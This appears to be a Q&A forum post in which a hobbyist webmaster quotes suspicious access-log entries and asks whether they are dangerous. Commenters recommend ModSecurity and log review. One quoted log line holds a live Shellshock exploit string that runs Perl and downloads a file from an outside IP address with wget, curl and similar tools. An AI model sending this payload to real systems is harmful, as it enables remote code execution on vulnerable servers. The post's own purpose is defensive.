1

I have a website which has CloudFlare enabled on it (Free plan) and lately I've been getting some really weird requests which instead of GET /some/path were like this:

"\xddG@\xdd\"\xb8\xbf\"\x8f\x80\xba\xbb\x12\xd6\xc7iixl\x83.87\xec\xb0\v\x1d,\x8a" 400 226 "-" "-"
"GET http://testp4.pospr.waw.pl/testproxy.php HTTP/1.1" 500 154 "-" "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/31.0"
"GET http://testp2.czar.bielawa.pl/testproxy.php HTTP/1.1" 500 154 "-" "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/31.0"

And the weirdest one:

"GET HTTP/1.1 HTTP/1.1" 400 392 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\" wget http://204.232.209.188/images/freshcafe/slice_30_192.png ; curl -O http://204.232.209.188/images/freshcafe/slice_30_192.png ; fetch http://204.232.209.188/images/freshcafe/slice_30_192.png ; lwp-download http://204.232.209.188/images/freshcafe/slice_30_192.png ; GET http://204.232.209.188/images/freshcafe/slice_30_192.png ; lynx http://204.232.209.188/images/freshcafe/slice_30_192.png \");'"

I have already blocked the IPs, but more and more have been happening almost every day, is there some way to block them at all? Do they represent any risk? If they do, how can I patch the issues?

I believe they aren't bots since their user agent says that they are browsers but that could be forged.

  • 1
    You will find that it is common for hack attempts or site landscaping. The best you can do is to use a tool such as ModSecurity and frequently analyze your site logs for IP addresses that you will then block. This is normal and should not surprise anyone. It is just a matter of recognizing what is a normal request versus not normal. – closetnoc Jan 30 '16 at 15:41
  • Thanks for the quick answer, I'm not a professional webmaster as you can see, this is just a hobby and I rented out a VPS to learn how to host it myself. Would it be safe to make a script to check the access logs and automatically IP ban requests that start with GET http(s)://? – GGG Jan 30 '16 at 15:52
  • 3
    I would not automate anything with a script if you are new to all this. You could ultimately block something that you should not block. This is very easy to do - I created automated software for my customer system that ended up being far more complicated and touchy than even I realized. I would suggest using ModSecurity for the bulk of the work (why recreate the wheel) and then add any regular expressions you need to. ModSecurity pretty much has everything you need already so it should be easy once you understand how it works. – closetnoc Jan 30 '16 at 16:42

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.